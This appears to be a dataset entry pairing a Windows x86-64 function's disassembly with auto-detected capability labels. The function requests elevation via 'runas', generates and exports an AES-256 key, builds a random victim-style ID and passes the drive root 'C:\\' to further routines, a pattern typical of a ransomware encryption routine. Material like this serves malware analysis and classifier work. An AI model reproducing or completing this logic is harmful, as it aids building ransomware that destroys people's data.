Function at 0x140001d20
Capabilities:
Create new key via cryptacquirecontext
Create process on windows
Encrypt data using aes via winapi
Generate random numbers via winapi
Get token membership
Terminate process

Disassembly:
push rbp
push rdi
push r14
lea rbp, [rsp - 0x1a0]
sub rsp, 0x2a0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x190], rax
xor edi, edi
mov word [rbp - 0xc], 0x500
lea rax, [rsp + 0x68]
mov dword [rsp + 0x60], edi
mov qword [rsp + 0x50], rax
lea rcx, [rbp - 0x10]
mov dword [rsp + 0x48], edi
mov r14d, 0x20
mov dword [rsp + 0x40], edi
mov r9d, 0x220
mov dword [rsp + 0x38], edi
mov r8d, r14d
mov dword [rsp + 0x30], edi
mov dl, 2
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
mov qword [rsp + 0x68], rdi
mov dword [rbp - 0x10], edi
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x140001db7
mov rdx, qword [rsp + 0x68]
lea r8, [rsp + 0x60]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
cmp dword [rsp + 0x60], edi
jne 0x140001e33
mov r8d, 0x104
lea rdx, [rbp + 0x80]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x140001e33
xor eax, eax
mov dword [rbp - 0x80], 0x70
vpxor xmm0, xmm0, xmm0
vmovups ymmword [rbp - 0x7c], ymm0
mov qword [rbp - 0x1c], rax
lea rcx, [rbp - 0x80]
mov dword [rbp - 0x14], eax
lea rax, str.runas
vmovups ymmword [rbp - 0x5c], ymm0
mov qword [rbp - 0x70], rax
lea rax, [rbp + 0x80]
mov qword [rbp - 0x68], rax
vmovups ymmword [rbp - 0x3c], ymm0
mov qword [rbp - 0x78], rdi
mov dword [rbp - 0x50], edi
vzeroupper
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x140001e33
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov qword [rsp + 0x2c0], rbx
lea rcx, [rbp - 0x10]
mov ebx, 0x2c
mov qword [rsp + 0x2c8], rsi
mov r9d, 0x18
mov dword [rsp + 0x60], ebx
xor r8d, r8d
mov qword [rsp + 0x2d0], r15
xor edx, edx
mov dword [rsp + 0x20], 0xf0000000
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
mov esi, 0x10
test eax, eax
je 0x140001f17
mov rcx, qword [rbp - 0x10]
lea r9, [rsp + 0x68]
mov edx, 0x6610
mov r8d, 1
call qword [sym.imp.ADVAPI32.dll_CryptGenKey]
test eax, eax
je 0x140001f0b
mov rcx, qword [rsp + 0x68]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
xor r9d, r9d
lea rax, [rbp + 8]
xor edx, edx
mov r8d, 8
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptExportKey]
test eax, eax
je 0x140001f00
vmovups ymm0, ymmword [rbp + 0x14]
vmovups ymmword [rbp + 0x38], ymm0
lea rax, [rbp + 8]
nop word [rax + rax]
mov byte [rax], dil
lea rax, [rax + 1]
sub rbx, 1
jne 0x140001ee0
mov rcx, qword [rbp - 0x10]
lea r8, [rbp - 8]
mov edx, esi
vzeroupper
call qword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov rcx, qword [rbp - 0x10]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, dword [0x140005810]
xor ecx, ecx
vmovups ymm0, ymmword [str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ]
mov dword [rbp + 0x28], eax
movzx eax, byte [0x140005814]
mov byte [rbp + 0x2c], al
vmovups ymmword [rbp + 8], ymm0
vzeroupper
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
mov rbx, rdi
movabs r15, 0xe38e38e38e38e38f
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movsxd rcx, eax
mov rax, r15
mul rcx
shr rdx, 5
lea rax, [rdx + rdx*8]
shl rax, 2
sub rcx, rax
movzx eax, byte [rbp + rcx + 8]
mov byte [rbp + rbx + 0x58], al
inc rbx
inc edi
mov eax, edi
and eax, 0x80000003
jge 0x140001f93
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
jne 0x140001fa5
cmp rbx, 0x26
jge 0x140001fa5
mov byte [rbp + rbx + 0x58], 0x2d
inc rbx
cmp edi, r14d
jl 0x140001f57
mov r15, qword [rsp + 0x2d0]
lea r8, [rbp + 0x58]
mov rbx, qword [rsp + 0x2c0]
lea rdx, [rbp - 8]
lea rcx, [rbp + 0x38]
mov byte [rbp + 0x7e], 0
call fcn.1400010c0
lea r8, [rbp + 0x58]
lea rdx, [rbp - 8]
lea rcx, [rbp + 0x38]
call fcn.1400019b0
lea r9, [rbp + 0x58]
mov dword [rsp + 0x70], 0x5c3a43
lea r8, [rbp - 8]
lea rdx, [rbp + 0x38]
lea rcx, [rsp + 0x70]
call fcn.140001730
lea rax, [rbp + 0x38]
mov byte [rax], 0
lea rax, [rax + 1]
sub r14, 1
jne 0x140002002
lea rax, [rbp - 8]
mov byte [rax], 0
lea rax, [rax + 1]
sub rsi, 1
jne 0x140002013
mov rsi, qword [rsp + 0x2c8]
xor eax, eax
mov rcx, qword [rbp + 0x190]
xor rcx, rsp
call fcn.140002060
add rsp, 0x2a0
pop r14
pop rdi
pop rbp
ret